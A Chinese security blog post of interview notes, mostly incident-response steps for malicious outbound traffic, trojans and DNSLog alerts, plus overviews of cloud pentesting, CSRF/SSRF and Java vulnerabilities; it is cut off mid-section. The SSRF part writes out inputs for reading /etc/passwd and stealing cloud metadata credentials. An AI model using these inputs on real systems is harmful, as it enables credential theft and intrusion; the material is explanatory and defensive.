分类 CTF 下的文章 - 一个CTFer的小窝
首页
状态
友链
留言
追番
更多
视频
搜 索
1
Docker常用命令
56 阅读
2
Jet全家桶和Navicat激活(仅可用于学生学习使用)
43 阅读
3
CTF show web入门之文件上传
39 阅读
4
华为交换机&路由器命令
37 阅读
5
软考基本知识
33 阅读
CTF
SQL注入
文件漏洞
PHP特性
命令执行
云存储
云网络
Linux
kali
OpenWrt
登录
搜 索
标签搜索
MySQL
数据库
DNS
根服务器
根节点
软件
激活
HVV
云安全
网络安全
W1lsp0
累计撰写
24
篇文章
累计收到
2
条评论
首页
栏目
CTF
SQL注入
文件漏洞
PHP特性
命令执行
云存储
云网络
Linux
kali
OpenWrt
页面
状态
友链
留言
追番
视频
用户登录
登录
找到
9
篇与
CTF
相关的结果
2025-04-23
面试备份
1. 恶意外联,排查思路?场景描述: 你发现公司内网(或服务器)有主机在与已知的恶意 IP 地址、域名或命令控制服务器 (C2) 进行通信。排查目标: 找到发起外联的源头(哪个主机的哪个进程),确定外联的目的地和意图,评估影响,进行处置。详细排查思路:确认信息和初步定位:获取告警/日志细节:源 IP 地址: 是哪台内网机器发起的连接?目标 IP 地址/域名: 连接到哪个外部地址?目标端口: 使用哪个端口进行通信?(例如 80/443 常规 Web,还是其他可疑端口?)协议: 使用什么协议? (TCP, UDP, ICMP, DNS 等)时间戳: 外联发生的确切时间?是持续性的还是偶发性的?数据量: 传输了多少数据?(少量心跳包?大量数据外泄?)信息来源:这些信息通常来自哪里?防火墙 (Firewall) / 下一代防火墙 (NGFW): 记录了出站连接尝试。入侵检测/防御系统 (IDS/IPS): 检测到恶意流量模式或已知恶意 IP/域名的连接。安全信息和事件管理平台 (SIEM): 关联了多个来源的日志,触发了告警。网络流量分析 (NTA) 工具: 监控和分析网络流量。终端检测与响应 (EDR) 平台: 直接在终端上检测到可疑网络活动。分析目标地址:威胁情报查询: 将目标 IP 地址或域名输入到威胁情报平台(如 VirusTotal, ThreatBook, 微步在线, AlienVault OTX 等)查询其信誉。确认它是否是已知的恶意软件 C2 服务器、钓鱼网站、扫描器等。WHOIS 查询: 查询域名的注册信息和 IP 地址的归属信息。反向 DNS 查询: 查看 IP 地址是否关联了特定的域名。定位内网源主机:根据源 IP 地址:如果是静态分配的 IP,直接找到对应的服务器或设备。如果是 DHCP 分配的 IP,需要查询 DHCP 服务器的日志,根据外联发生的时间戳找到当时使用该 IP 的主机的 MAC 地址和主机名。根据 MAC 地址在交换机上查询对应的物理端口,或在资产管理系统中查找对应的主机。登录源主机进行详细排查(关键步骤):隔离(可选但推荐): 在不影响业务的前提下,考虑先将该主机从网络中隔离(拔网线或配置网络访问控制),防止恶意软件进一步扩散或通信。查找恶意进程:实时网络连接:Windows: netstat -ano (查看所有连接、监听端口、对应的进程 ID (PID))。找到与恶意外联目标 IP/端口匹配的连接,记下其 PID。Linux: netstat -antup 或 ss -antup (类似功能,显示 PID 和进程名)。找到对应的 PID。关联进程:Windows: 使用任务管理器 (Task Manager) 或更强大的 Process Explorer (Sysinternals Suite 工具),根据 PID 找到对应的进程名、可执行文件路径、启动参数、父进程等。Linux: 使用 ps aux | grep <PID> 或 ps -fp <PID> 查看进程详细信息(用户、启动命令、路径等)。使用 ls -l /proc/<PID>/exe 查看可执行文件路径,ls -l /proc/<PID>/cwd 查看当前工作目录。分析可疑进程:进程路径和名称: 是否位于不寻常的目录(如临时文件夹、用户下载目录)?进程名是否伪装成系统进程(例如 svch0st.exe)?数字签名: (Windows) 检查可执行文件是否有有效的数字签名。文件 Hash: 计算可执行文件的 MD5/SHA256 哈希值,再次提交到威胁情报平台进行分析。父进程: 它是如何启动的?是被正常程序调用,还是由可疑的父进程启动?资源占用: CPU、内存、网络占用是否异常?检查持久化机制:恶意软件通常会设置持久化以在系统重启后继续运行。Windows: 检查注册表启动项 (Run, RunOnce 等键)、计划任务 (Task Scheduler)、服务 (Services)、启动文件夹。推荐使用 Autoruns (Sysinternals Suite 工具) 全面检查。Linux: 检查 cron 定时任务 (crontab -l, /etc/cron.*)、systemd 服务 (systemctl list-unit-files --type=service)、rc 脚本 (/etc/init.d/, /etc/rc.local)、用户配置文件 (.bashrc, .profile) 中有无可疑条目。检查可疑文件:根据进程分析找到的相关文件。检查系统临时目录、用户下载目录、最近修改的文件。使用 find (Linux) 或 dir /T:C /O:-D (Windows,按创建时间排序) 等命令查找可疑时间段内创建或修改的文件。查看日志:系统日志(Windows Event Logs, Linux /var/log/syslog, /var/log/auth.log 等)。应用程序日志。安全软件日志 (AV, EDR)。处置与恢复:终止恶意进程。清除恶意文件和持久化项。修复被篡改的配置。全盘查杀: 使用最新的防病毒软件进行全盘扫描。修改密码: 如果怀疑凭据泄露,修改该主机及可能受影响用户的密码。必要时重装系统: 如果感染严重或无法彻底清除,最安全的方法是备份数据后重装系统。恢复网络连接并监控: 清理干净后,重新接入网络并持续监控一段时间,确保没有复发。总结与报告:记录整个排查过程、发现、处置方法。分析根本原因(如何被感染的?)。提出改进建议(加强边界防护、终端安全、用户培训等)。2. 办公网电脑看历史命令?场景描述: 需要查看某台办公网 Windows 电脑上用户执行过的命令,通常是为了审计、排查问题或安全调查。详细方法:CMD (命令提示符) 历史:当前会话历史: 在打开的 CMD 窗口中,按 F7 键可以弹出当前会话的历史命令列表。或者使用 doskey /history 命令显示。缺点:默认不持久化保存。关闭 CMD 窗口后,该窗口的历史记录通常就丢失了。每个 CMD 窗口的历史是独立的。用户可以轻易清除 (Alt+F7) 或禁用历史记录。潜在的持久化文件(不常用,依赖特定配置或工具): 某些环境下可能有工具或配置将 doskey 历史保存到文件,但这并非 Windows 默认行为。PowerShell 历史:当前会话历史: 在打开的 PowerShell 窗口中,使用 Get-History (或别名 h, history) 命令查看当前会话的历史命令。持久化历史文件:PowerShell (特别是较新版本带 PSReadLine 模块的) 会默认将历史命令记录到一个文件中。文件路径通常是: $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt (具体路径可能因 PowerShell 版本和配置略有不同)。你可以直接用文本编辑器打开这个文件查看。优点: 默认开启,跨会话保存,记录相对完整。缺点: 用户可以手动删除该文件,或者通过配置禁用历史记录 (Set-PSReadLineOption -HistorySaveStyle SaveNothing)。获取历史文件路径的命令: (Get-PSReadLineOption).HistorySavePathWindows 事件日志 (Event Log) - 进程创建日志:前提条件:需要在组策略 (Group Policy) 中启用 "审核进程创建" (Audit Process Creation) 以及 "在进程创建事件中包括命令行" (Include command line in process creation events)。策略路径:计算机配置 -> Windows 设置 -> 安全设置 -> 高级审核策略配置 -> 系统审核策略 -> 详细跟踪 (Computer Configuration -> Windows Settings -> Security Settings -> Advanced Audit Policy Configuration -> System Audit Policies -> Detailed Trac1king)。查看方法:打开 "事件查看器" (Event Viewer)。导航到 Windows 日志 -> 安全 (Windows Logs -> Security)。筛选事件 ID 4688 (进程创建)。内容: 每个 4688 事件会记录哪个用户启动了哪个进程 (新进程名称),以及(如果开启了命令行审计)完整的命令行参数 (进程命令行)。优点: 相对可靠,不易被普通用户篡改(需要管理员权限清除日志),记录了所有通过命令行启动的进程,不仅仅是交互式 shell 命令。缺点:需要提前配置审计策略,否则不会记录。日志量可能很大,需要有效筛选。它记录的是进程启动,而不是用户在 CMD 或 PowerShell 交互界面输入的每一条命令(例如 cd, dir 这些内置命令可能不会作为单独进程启动,就不会有 4688 事件)。但执行外部程序(如 ping.exe, notepad.exe)会记录。第三方工具/EDR:很多终端安全软件 (EDR - Endpoint Detection and Response) 会记录详细的进程活动和命令行历史,通常提供更方便的查询界面和更长的保存时间。如果公司部署了这类工具,应首先考虑使用它们进行查询。总结: 对于办公网 Windows 电脑:查 PowerShell 历史文件 (ConsoleHost_history.txt) 是最直接的方法,看用户交互式执行了什么。查 Windows 事件日志 4688(需提前开启命令行审计)是更全面、更可靠的方法,看系统实际启动了哪些进程及其参数。CMD 的历史记录非常有限,基本不可靠。EDR 等专业工具提供最佳的可见性。3. 钓鱼外联中了木马,排查思路?场景描述: 用户报告点击了钓鱼邮件/链接/附件,之后电脑行为异常,并且安全设备检测到该电脑有恶意外联(可能是连向 C2 服务器)。排查目标: 确认感染,理解木马行为,清除木马,防止进一步损害,找到初始入侵向量。详细排查思路(这是一个典型的应急响应过程):准备 (Preparation): (理想情况下,平时就应该准备好)应急响应计划、联系人列表。取证工具(如 Sysinternals Suite, Wireshark, Volatility 等)。干净的 U 盘、移动硬盘。日志系统(SIEM, 防火墙日志, 代理日志, DNS 日志, EDR 日志等)。识别 (Identification):确认告警/报告:用户报告的具体情况(收到的邮件、点击的链接/附件、发生的时间、出现的异常现象)。网络告警(如 Q1 中提到的恶意外联告警)的详细信息(源 IP、目标 IP/域名/端口、协议、时间)。终端告警(杀毒软件报毒、EDR 告警)。初步判断: 结合用户报告和告警信息,初步判断感染的可能性、感染时间和潜在的木马类型。遏制 (Containment): 非常重要的一步!立即隔离受感染主机:物理断网(拔掉网线)。逻辑隔离(在交换机上禁用端口、将其划分到隔离 VLAN、使用 EDR 的隔离功能)。目的: 防止木马横向移动感染其他机器,阻止与 C2 服务器的通信(数据外泄、接收新指令)。注意: 隔离前考虑是否需要抓取内存镜像(用于后续深入分析),因为断电或关机会导致内存信息丢失。但优先考虑阻止危害扩大。根除 (Eradication): 在隔离的主机上进行详细分析和清除。内存分析 (如果抓取了镜像): 使用 Volatility 等工具分析内存镜像,可以找到正在运行的恶意进程、网络连接、注入的代码、加载的DLL、命令行历史等,即使恶意软件试图隐藏自己。主机分析 (核心步骤,类似 Q1 的主机排查):查找恶意进程和网络连接: 使用 netstat -ano, tasklist, Process Explorer, ps, ss 等工具,重点关注那些与外联告警匹配的连接,以及看起来可疑(名称、路径、无签名、CPU/内存占用异常)的进程。分析启动项和持久化: 使用 Autoruns (Win) 或手动检查 cron, systemd, rc 脚本 (Linux) 等,查找木马设置的自启动项。文件系统分析:根据进程/启动项找到的恶意文件路径。检查用户下载目录、临时目录、回收站。查找在感染时间点附近创建或修改的文件。对可疑文件进行 Hash 计算,提交到威胁情报平台。使用 strings 命令查看可执行文件中的可疑字符串(IP, 域名, 命令)。日志分析: 检查系统日志、安全日志、应用程序日志、浏览器历史记录、PowerShell 历史记录等,寻找与感染事件相关的线索(例如,用户下载并运行了某个文件,某个进程在特定时间启动)。获取原始钓鱼样本: 如果可能,找到用户收到的钓鱼邮件或点击的链接/文件,进行分析(注意安全,在沙箱中进行)。了解攻击者使用的技术和诱饵。清除操作:终止恶意进程。删除恶意文件。移除持久化机制。修复被篡改的系统设置。恢复 (Recovery):系统重建:对于中了木马的主机,最安全可靠的方式是:备份用户数据(确保数据本身没有被感染或加密)。完全格式化硬盘。重新安装干净的操作系统和应用程序。恢复用户数据。打上所有安全补丁。凭据重置: 强制用户修改密码,特别是该用户在受感染机器上登录过的所有账户密码。如果怀疑域凭据泄露,可能需要重置域用户甚至 krbtgt 账户密码。重新接入网络和监控: 确认系统干净后,重新接入生产网络,并对其进行密切监控一段时间,确保没有残留或再次感染。事后总结 (Lessons Learned):编写事件报告:时间线、影响范围、技术细节、处置过程。分析根本原因:为什么钓鱼成功了?是邮件过滤问题?用户意识不足?终端防护缺失?改进措施:加强邮件安全网关策略、部署更强的终端防护 (EDR)、进行针对性的用户安全意识培训、完善补丁管理流程、改进应急响应流程等。4. Linux 上机排查思路,应用恶意外联?场景描述: 你登录到一台 Linux 服务器上,需要排查一个正在运行的应用(或未知进程)发起的恶意外联。排查目标: 找到发起外联的具体进程,分析其行为、来源和目的,清除威胁。详细排查思路(侧重 Linux 命令和工具):识别可疑网络连接:ss -antup | grep ESTAB: 查看当前建立的 TCP 连接,包括源/目标 IP 和端口,以及对应的进程信息 (PID/进程名)。重点关注连接到可疑外部 IP 的连接。netstat -antup | grep ESTAB: 功能类似 ss,是比较传统的命令。lsof -i: 列出所有打开网络连接的文件描述符及其对应的进程。可以用 lsof -i :<端口号> 或 lsof -i @<目标IP> 进行过滤。目标: 找到与恶意外联相关的连接,并记下其 PID。分析可疑进程:获取进程信息:假设找到的可疑 PID 是12345。ps -fp 12345: 查看进程的详细信息,包括 UID (用户)、PPID (父进程 ID)、启动时间、完整的命令行 (CMD)。ps aux | grep 12345: 提供另一种格式的进程信息。定位可执行文件:ls -l /proc/12345/exe: 显示该 PID 对应的可执行文件的实际路径(即使文件在磁盘上被删除了,这里可能仍然指向 (deleted),但能提供线索)。查看进程工作目录:ls -l /proc/12345/cwd: 显示进程启动时所在的目录。恶意软件可能在这里放置了其他文件。查看进程打开的文件:lsof -p 12345: 列出该进程打开的所有文件,包括库文件、配置文件、日志文件以及网络连接。这有助于了解进程在读写哪些文件,与哪些主机通信。查看进程环境变量:cat /proc/12345/environ | tr '\0' '\n': 查看进程运行时的环境变量,有时可能包含配置信息或敏感数据。分析父进程: 查看 PPID,使用 ps -fp <PPID> 分析父进程。是正常的系统服务启动的?还是由 cron 启动的?或是由另一个可疑进程启动的?分析可疑文件:文件类型: file /path/to/suspicious_executable: 判断文件类型(ELF 可执行文件、脚本文件等)。Hash校验: md5sum /path/to/suspicious_executable 和 sha256sum /path/to/suspicious_executable 计算 Hash 值,提交到威胁情报平台查询。查看字符串: strings /path/to/suspicious_executable | less: 查看文件中包含的可打印字符串,可能会发现硬编码的 IP 地址、域名、命令、注释等线索。检查配置文件: 如果该进程是一个应用,检查其配置文件(可能在 /etc/, /usr/local/etc/, 进程 cwd 目录或用户家目录下),看是否有被篡改的迹象(例如指向恶意地址的配置)。检查脚本文件: 如果是脚本(Shell, Python, Perl 等),直接阅读源代码分析其逻辑。检查持久化机制:crontab -l (检查当前用户和 root 用户的定时任务)。检查 /etc/cron.* 目录下的定时任务脚本。systemctl list-unit-files --type=service --state=enabled: 查看已启用的 systemd 服务。检查 /etc/systemd/system/ 和 /usr/lib/systemd/system/ 下是否有可疑的服务单元文件。检查 /etc/init.d/ 或 /etc/rc*.d/ 下的 SysVinit 风格的启动脚本。检查用户的 shell 配置文件(如 ~/.bashrc, ~/.profile, /etc/profile)是否被添加了恶意命令。检查是否有隐藏的进程或服务(例如通过 ld.so.preload 劫持)。检查系统日志:/var/log/syslog 或 /var/log/messages: 系统全局日志。/var/log/auth.log 或 /var/log/secure: 认证和授权日志(SSH 登录、sudo 使用等)。应用自身日志(如 /var/log/nginx/, /var/log/apache2/, 应用自定义日志路径)。last: 查看最近登录系统的用户记录。lastlog: 查看所有用户最后登录的信息。时间线分析:根据外联发生的时间,使用find命令查找该时间点前后被修改过的文件:find / -mmin -60 (查找过去 60 分钟内被修改过的文件)find / -cmin -60 (查找过去 60 分钟内状态(权限等)被改变过的文件)find / -amin -60 (查找过去 60 分钟内被访问过的文件)结合 -user 或 -group 参数缩小范围。处置与恢复(同 Q3):隔离主机。终止恶意进程 (kill <PID>, kill -9 <PID>)。删除恶意文件和持久化项。必要时从备份恢复或重装系统。修改密码。恢复服务并持续监控。5. 云环境渗透会从哪些入手?场景描述: 对部署在云平台(如 AWS, Azure, GCP)上的环境进行渗透测试。入手点/攻击面(与传统内网渗透有相似之处,但更侧重云特有服务和配置):信息收集与侦察 (Reconnaissance):目标范围确认: 明确测试范围,哪些云账号、资源、服务在测试范围内。子域名枚举: 寻找与目标相关的云服务接入点(如 Web 应用、API 网关)。IP 地址和端口扫描: 扫描目标分配到的公网 IP 段,寻找开放的端口和服务(如 EC2, VM, Load Balancer)。对象存储枚举: 尝试发现公开的云存储桶/容器(如 AWS S3 buckets, Azure Blob containers, GCP Cloud Storage buckets)。使用工具或字典猜测常见的命名规则。代码库扫描: 在 GitHub、GitLab 等公开代码库中搜索目标组织的名称、域名、员工姓名等,寻找可能泄露的访问密钥 (Access Keys)、API 密钥、配置文件、硬编码密码等。云服务发现: 利用专门的云侦察工具(如 Cloud Mapper, Scout Suite 等,需要有一定权限或利用已知信息)或云提供商的 CLI/API 来识别目标环境中使用的服务类型和资源。身份与访问管理 (IAM) 安全: 云环境的核心攻击面!弱密码/默认密码: 尝试爆破云控制台登录、虚拟机 SSH/RDP、数据库等账户的密码。泄露的访问密钥 (Access Keys / Service Principals / Service Accounts): 利用信息收集中找到的密钥,尝试通过 AWS CLI, Azure CLI, gcloud CLI 或 SDK 进行认证,查看其权限。权限配置错误 (Overly Permissive Roles/Policies):如果获得了一个低权限的密钥或用户访问权限,检查其附加的 IAM 策略/角色。寻找是否有过高的权限(如 *:* 权限、对敏感服务如 IAM、KMS、Secrets Manager 的写权限)。尝试利用已有权限进行权限提升(例如,有权限创建新策略并附加给自己,有权限启动可以附加高权限角色的新实例等)。缺乏多因素认证 (MFA): 检查关键账户(尤其是根用户/全局管理员)是否启用了 MFA。元数据服务利用 (Metadata Service Exploitation): (尤其 AWS EC2) 如果目标在云主机上部署的应用存在服务器端请求伪造 (SSRF) 漏洞,可以尝试访问实例元数据服务 (如 http://169.254.169.254/) 来窃取附加到该实例的 IAM 角色凭证。计算资源 (Compute) 安全:虚拟机/实例 (EC2, Azure VM, GCE):暴露的管理端口: 如 SSH (22), RDP (3389), WinRM (5985/5986) 是否对公网开放?是否存在弱口令或默认口令?未打补丁的系统/应用漏洞: 对实例上运行的操作系统和应用程序进行漏洞扫描和利用(类似传统主机渗透)。安全组/网络安全组 (Security Groups / NSGs) 配置不当: 是否允许了不必要的入站/出站流量?容器 (Containers - EKS, AKS, GKE, Docker):暴露的容器管理端口: 如 Docker daemon 端口 (2375/2376)、Kubernetes API Server (6443) 是否可被未经授权访问?镜像漏洞: 使用存在已知漏洞的基础镜像或应用程序镜像。容器逃逸: 利用内核漏洞或错误配置(如特权容器 --privileged)从容器内部获取宿主机权限。K8s 配置错误: 如允许匿名访问 API Server、RBAC 权限配置不当等。Serverless 函数 (Lambda, Azure Functions, Cloud Functions):代码漏洞: 函数代码本身可能存在漏洞(如注入、不安全的反序列化)。事件注入: 如果函数的触发器(如 API Gateway, S3 event)没有正确处理输入,可能导致命令注入或数据泄露。执行角色权限过大: 函数被赋予了不必要的访问其他云资源的权限。依赖库漏洞: 使用了存在漏洞的第三方库。存储 (Storage) 安全:对象存储 (S3, Blob Storage, GCS) 权限配置错误:公开读/写: 存储桶/容器是否被错误地配置为允许公共访问?导致敏感数据泄露或被篡改/上传恶意文件。访问控制列表 (ACL) / 存储桶策略 (Bucket Policy) 配置不当: 即使不是完全公开,也可能允许了非预期的账户或用户组访问。数据加密: 存储的数据是否进行了静态加密?传输过程中是否使用了 TLS?数据库 (Database) 安全:云数据库服务 (RDS, Azure SQL DB, Cloud SQL):网络可达性: 数据库实例是否不必要地暴露在公网?弱密码/默认密码。未加密连接。权限配置不当。SQL 注入(通过连接的应用)。网络配置安全:安全组/NSG/防火墙规则过于宽松。VPC/VNet 配置: 子网路由、网络 ACLs (NACLs)、VPC Peering / Private Link 配置是否安全。负载均衡器 (Load Balancer) 配置: 是否暴露了后端不应暴露的端口或信息?监听器安全策略是否足够强?日志与监控缺失:缺乏足够的日志记录(如 CloudTrail, CloudWatch Logs, Azure Monitor, Google Cloud Logging)使得攻击难以被发现和溯源。没有配置有效的告警来及时发现可疑活动。云平台自身漏洞(较少见,但存在): 利用云服务提供商自身软件或架构中可能存在的漏洞。6. DNS log 是正常?误报?还是真实攻击?dns-log 被攻击的排查思路?场景描述: 你在查看 DNS 查询日志(可能来自内部 DNS 服务器、防火墙或专门的 DNS 安全设备)时,发现有内网主机查询一个看起来可疑的域名,特别是像 *.dnslog.cn, *.burpcollaborator.net 或其他随机性很强、无明确意义的子域名。区分正常、误报与真实攻击:什么是 DNSLog 平台?像 dnslog.cn 或 Burp Suite 的 Collaborator 这类服务,提供一个公共或私有的 DNS 服务器。当有人查询指向这个服务器的特定子域名时(例如 randomstring.yourid.dnslog.cn),平台会记录下这次查询的来源 IP 和时间。合法用途:漏洞验证 (OOB - Out-of-Band): 安全测试人员(白帽子)或安全扫描器在测试某些无法直接看到回显的漏洞(如 Blind SSRF, Blind SQL Injection, Blind XXE, Log4Shell RCE 等)时,会构造一个 Payload,让目标服务器发起一次 DNS 查询到这个平台。如果平台收到了查询记录,就证明 Payload 成功触发,漏洞存在。这是最常见的“正常”或“测试”情况。网络连接测试: 开发或运维人员有时用它快速测试某台机器是否能正常解析 DNS 并访问外网。恶意用途:数据外泄 (Data Exfiltration): 攻击者窃取数据后,将数据编码(如 Base64)放到子域名中(例如 base64data.attacker.controlled.domain.com),然后通过大量 DNS 查询将数据偷偷传输出去。防火墙可能允许 DNS 流量,从而绕过检查。命令与控制 (C2 Communication): 恶意软件通过查询特定格式的子域名来获取指令(可能编码在 TXT 记录或其他记录类型中)或发送心跳包表明自己在线。恶意软件利用 OOB 验证: 恶意软件利用类似 Log4Shell 的漏洞进行攻击时,也会使用 DNSLog 来确认攻击是否成功。判断步骤:来源 IP 是谁?是已知的安全扫描器 IP 地址?(例如 Nessus, Qualys 等)是安全团队成员的测试机 IP?是开发人员的机器?(可能在调试代码或测试)是普通用户的办公电脑?(可疑度增加)是生产环境的服务器?(高可疑度,除非有计划内测试)查询的域名是什么?是公共 OOB 测试平台域名 (dnslog.cn, burpcollaborator.net, interact.sh 等)? -> 倾向于测试或扫描。是一个完全未知、随机字符或看起来像自定义的域名? -> 可疑度高,可能是攻击者的私有 C2 或 DNSLog 平台。子域名结构是怎样的?是一个固定的、无意义的随机字符串? -> 可能是简单的连通性测试或 OOB 验证 Ping。包含了主机名、用户名、内网 IP 地址? -> 可能是信息探测。包含了看起来像 Base64 或其他编码的长字符串? -> 极有可能是数据外泄。结构随时间变化,像是在传递命令或状态? -> 可能是 C2 通信。查询频率和时间?是在已知的安全测试窗口期内? -> 可能是计划内活动。是单次查询还是持续性、周期性的查询? -> 持续性查询更像是 C2 心跳或数据外泄。查询量非常大? -> 可能是大规模数据外泄。是否有伴随行为?查询来源主机在相近时间是否有其他可疑活动?(例如,Web 访问日志显示有注入 Payload 的请求?EDR 报告了可疑进程执行?)总结判断:正常/误报(大概率): 来源是扫描器/安全测试人员,查询的是公共 OOB 平台,发生在测试窗口期,子域名无明显数据特征。 -> 处置: 确认是计划内活动即可,或优化扫描策略避免不必要的 OOB 请求。真实攻击(可能性高): 来源是普通用户/服务器,查询的是未知域名或带有编码数据的子域名,持续性查询,或伴随其他告警。 -> 处置: 进入应急响应流程。DNSLog 被攻击的排查思路(假设已判断为真实攻击):定位源头主机: 通过 DNS 日志中的源 IP 地址,找到发起查询的具体内网主机(方法同 Q1/Q3)。隔离主机: 立即将该主机进行网络隔离。主机排查:找到发起 DNS 查询的进程:使用 netstat, ss, lsof -i:53 (如果直连外部 DNS) 或检查本地 DNS Client 服务日志。在 Windows 上可以用 Sysmon 监控 DNS 查询事件 (Event ID 22),可以直接关联进程。EDR 工具通常能直接显示哪个进程发起了 DNS 查询。分析该进程: 它是恶意软件?还是被漏洞利用的正常应用(如存在 Log4Shell 的 Java 应用)?进行详细的进程、文件、持久化分析(参考 Q1/Q3/Q4 的主机排查步骤)。数据外泄场景: 寻找哪个进程在读取敏感文件/数据,并构造 DNS 查询。检查脚本、历史命令、恶意软件代码。C2 通信场景: 分析恶意软件的网络模块,看它如何编码/解码 DNS 查询和响应中的指令。漏洞利用 OOB 场景: 查找被利用的漏洞。检查 Web 服务器日志、应用日志,找到触发 OOB 请求的原始恶意输入 (Payload)。网络层面阻断: 在防火墙或 DNS 服务器上,阻止对该恶意域名(通常是其主域名,如 *.attacker.controlled.domain.com)的查询或解析。根除与恢复: 清除恶意软件,修复被利用的漏洞,恢复系统(参考 Q3/Q4)。溯源与总结: 分析入侵途径,是钓鱼?漏洞利用?弱口令?改进防御策略。7. CSRF 攻击面?比较大的攻击?SSRF 能做到什么攻击效果?CSRF (Cross-Site Request Forgery / 跨站请求伪造):攻击原理: 攻击者诱导一个已经登录了目标网站 A 的用户,去访问一个包含恶意代码的网站 B(或点击一个恶意链接/图片)。网站 B 上的代码会强迫用户的浏览器向网站 A 发送一个请求(例如修改密码、转账等)。因为这个请求是用户浏览器发出的,并且会自动带上网站 A 的有效 Cookie (Session ID),所以网站 A 会误以为这是用户本人自愿的操作,从而执行该请求。攻击面 (Attack Surface):所有需要用户登录后才能执行的状态变更操作 (State-Changing Operations)。这些操作仅依赖 Cookie (或其他浏览器自动发送的认证机制如 HTTP Basic Auth) 来验证用户身份,没有使用额外的、不可预测的令牌(Anti-CSRF Token)来验证请求的来源。常见例子:修改用户个人信息(密码、邮箱、电话)执行金融操作(转账、购买商品)发布/删除/修改内容(发帖、删帖、点赞、加好友)更改账户权限或设置对后台管理功能的操作(添加/删除用户、修改配置)比较大的攻击 (Significant Impact):账户接管: 修改用户密码或邮箱,导致攻击者可以完全控制用户账户。资金窃取: 在购物网站或银行网站上替用户进行支付或转账。蠕虫传播: 在社交网站上替用户自动发送包含恶意链接的消息或帖子,感染更多用户。后台管理权限滥用: 如果管理员账户受到 CSRF 攻击,可能导致添加恶意管理员、修改全局设置、获取敏感数据等严重后果。数据破坏: 批量删除用户的重要数据。关键在于: CSRF 攻击的危害程度,直接取决于被伪造的那个请求本身能做什么操作。SSRF (Server-Side Request Forgery / 服务器端请求伪造):攻击原理: 攻击者发现一个 Web 应用的功能点,该功能点会根据用户输入(通常是 URL 或部分 URL)去从服务器后端发起一个新的 HTTP 请求到用户指定的地址。攻击者通过构造恶意的 URL,使得服务器代替攻击者去访问其无法直接访问的资源。攻击面 (Attack Surface):任何需要根据用户输入去获取远程资源的功能。常见例子:URL 预览/内容抓取: 分享链接时自动生成标题和图片预览。图片/文件处理: 从 URL 加载图片进行处理(缩放、加水印),从 URL 下载文件,导入网络资源。Webhooks/API 调用: 调用用户指定的回调 URL,与其他 Web 服务集成。PDF/文档生成器: 根据用户提供的 URL 生成 PDF。后台管理功能: 某些需要从指定 URL 拉取配置或数据的管理接口。能做到什么攻击效果 (Attack Effects):探测内网 (Internal Network Scanning):攻击者无法直接访问的内网 IP 和端口。可以构造 http://192.168.x.x:port, http://10.x.x.x:port, http://localhost:port 等 URL,根据服务器的响应时间、错误信息来判断内网主机和端口的开放状态。攻击内网应用 (Attacking Internal Services):访问内网中没有做严格认证的 Web 应用(如内部管理后台、监控系统 Grafana/Zabbix、开发工具 Jenkins/GitLab、数据库管理界面 phpMyAdmin)。可以读取这些应用的敏感信息,甚至利用这些内网应用自身的漏洞进行进一步攻击(例如,访问一个未授权的 Redis 端口并执行命令,访问未授权的 JBoss JMX 控制台执行代码)。读取服务器本地文件 (Reading Local Files):如果服务器端的 HTTP 客户端库支持 file:// 协议,可以构造 file:///etc/passwd, file:///proc/self/cmdline, file:///c:/windows/win.ini 等 URL 来读取服务器上的敏感文件。云环境下的元数据窃取 (Cloud Metadata Theft):(非常关键!)在 AWS, GCP, Azure 等云环境中,虚拟机实例可以通过访问一个特殊的内网地址(如 AWS 的 http://169.254.169.254/latest/meta-data/)获取实例的元数据,其中可能包含临时的访问凭证 (IAM Role Credentials)。攻击者利用 SSRF 让服务器访问这个地址,就能窃取到这些高权限凭证,进而控制更多的云资源。可能导致远程代码执行 (Potential RCE):如果能访问到内网中存在 RCE 漏洞的服务(如某些版本的 Redis, Elasticsearch, Jenkins),可以通过 SSRF 构造请求来触发这些 RCE 漏洞。拒绝服务 (Denial of Service - DoS):让服务器去请求一个会返回巨大响应的资源,耗尽服务器资源。让服务器不断请求自己(http://localhost:port),形成请求循环。核心区别:CSRF 是服务器信任了来自用户浏览器的请求(利用用户的身份)。SSRF 是服务器信任了用户提供的 URL,并代替用户(以服务器的身份)发起了请求。8. Java 框架有什么典型漏洞?Java 内存马分析工具和流量特征?内存马排查处置思路?Java 框架典型漏洞:Java 生态庞大,漏洞种类繁多,以下是一些非常经典和常见的类型:远程代码执行 (RCE):反序列化 (Deserialization): 最臭名昭著的一类。当应用接收并反序列化来自不受信任来源的数据时,攻击者可以构造恶意的序列化对象,在反序列化过程中利用 "gadget chains"(存在于常用库如 Apache Commons Collections, Fastjson <1.2.48, Jackson, WebLogic T3/IIOP 协议等)来执行任意代码。表达式语言注入 (EL Injection): 在 Struts2 (OGNL 表达式) 和 Spring (SpEL 表达式) 中较为常见。如果将用户输入直接拼接到表达式中执行,攻击者可以构造恶意表达式来执行代码。模板注入 (Template Injection / SSTI): 在使用 Velocity, Freemarker, Thymeleaf, Pebble 等模板引擎时,如果将用户输入直接作为模板内容渲染,可能导致注入并执行代码。JNDI 注入 (JNDI Injection): Log4Shell (CVE-2021-44228) 就是典型的 JNDI 注入。应用在 JNDI 查询中使用了用户可控的输入,攻击者可以指定一个恶意的 RMI/LDAP 服务器地址,导致服务器加载并执行远程恶意类。XML 外部实体注入 (XXE): (严格来说更像信息泄露和 SSRF,但有时也能 RCE) 处理用户提供的 XML 时,如果解析器允许外部实体,可能导致 RCE(例如通过 expect:// 协议)。命令注入 (Command Injection): 应用代码直接将用户输入拼接到 Runtime.exec() 或 ProcessBuilder 的命令字符串中执行。文件上传漏洞: 上传可执行脚本文件(如 JSP)到 Web 目录下,然后访问该文件触发执行。Shiro 框架相关漏洞:Shiro < 1.2.4 (Shiro-550): RememberMe 功能的 AES 加密密钥硬编码,导致攻击者可以构造恶意的 RememberMe Cookie 来绕过认证甚至执行代码(依赖于可用的 gadget)。Shiro < 1.5.2 (Shiro-721): 权限校验逻辑缺陷,特定构造的 URL 可以绕过权限检查。Spring 框架相关漏洞:Spring Cloud Gateway Actuator API 未授权访问/RCE。Spring WebFlow 反序列化 RCE。Spring Messaging RCE (CVE-2018-1270)。Spring Core RCE (Spring4Shell / CVE-2022-22965): 特定条件下(JDK 9+, Tomcat部署 WAR 包)利用 DataBinder 进行类加载器操纵,写入 Webshell。Spring Security 权限绕过/配置错误。其他常见 Web 漏洞:SQL 注入 (SQLi)跨站脚本 (XSS)目录遍历 (Path Traversal)SSRF (见上题)Java 内存马 (Memory-Resident 